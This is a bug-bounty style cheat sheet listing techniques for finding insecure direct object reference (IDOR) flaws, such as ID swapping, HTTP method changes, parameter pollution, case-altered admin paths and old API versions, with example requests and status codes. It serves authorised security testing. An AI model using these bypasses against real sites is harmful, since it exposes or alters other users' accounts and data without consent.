

⚠ IDOR ATTACK METHOD ⚠

Base Steps:

1. Create two accounts **if** possible or **else** enumerate users first.
2. Check **if** the endpoint is private or public and does it contains any kind of id param.
3. Try changing the param value to some other user and see **if** does anything to their account.
4. Done !!

[] [] image profile [] delete account [] information account [] VIEW & DELETE & Create api_key [] allows to read any comment [] change price [] change the coin from dollar to uaro [] Try decode the ID, if the ID encoded using md5,base64,etc

```
GET /getUser/dmljdGltQG1haWwuY29t
[...]
```

[] change HTTP method

```
GET /users/delete/victim_id ->403
POST /users/delete/victim_id ->200
```

[] Try replacing parameter names

Instead of this:
GET /api/albums?album_id=<album id>

Try This:
GET /api/albums?account_id=<account id>

Tip: There is a Burp extension called Paramalyzer which will help with this by remembering all the parameters you have passed to a host.

[] Path Traversal

```
POST /users/delete/victim_id ->403
POST /users/delete/my_id/..victim_id ->200
```

[] change request content-type

```
Content-Type: application/xml ->
Content-Type: application/json
```

[] swap non-numeric with numeric id

```
GET /file?id=90djbkdbkdbd29dd
GET /file?id=302
```

[] Missing Function Level Access Control

```
GET /admin/profile ->401
GET /Admin/profile ->200
GET /ADMIN/profile ->200
```

```
GET /aDmin/profile ->200
GET /adMin/profile ->200
GET /admIn/profile ->200
GET /admin/profile ->200
```

[] send wildcard instead of an id

```
GET /api/users/user_id ->
GET /api/users/*
```

[] Never ignore encoded/hashed ID

for hashed ID ,create multiple accounts and understand the pattern application users to allot an id

[] Google Dorking/public form

search all the endpoints having ID which the search engine may have already indexed

[] Bruteforce Hidden HTTP parameters

use tools like arjun , paramminer

[] Bypass object level authorization Add parameter onto the endpoint if not present by default

```
GET /api_v1/messages ->200
GET /api_v1/messages?user_id=victim_uuid ->200
```

[] HTTP Parameter Pollution Give multiple value for same parameter

```
GET /api_v1/messages?user_id=attacker_id&user_id=victim_id
GET /api_v1/messages?user_id=victim_id&user_id=attacker_id
```

[] change file type

```
GET /user_data/2341 -> 401
GET /user_data/2341.json -> 200
GET /user_data/2341.xml -> 200
GET /user_data/2341.config -> 200
GET /user_data/2341.txt -> 200
```

[] json parameter pollution

```
{"userid":1234,"userid":2542}
```

[] Wrap the ID with an array in the body

```
{"userid":123} ->401
{"userid":[123]} ->200
```

[] wrap the id with a json object

```
{"userid":123} ->401  
{"userid":{"userid":123}} ->200
```

[] Test an outdata API version

```
GET /v3/users_data/1234 ->401  
GET /v1/users_data/1234 ->200
```

[] If the website using graphql, try to find IDOR using graphql!

```
GET /graphql  
[...]
```

```
GET /graphql.php?query=  
[...]
```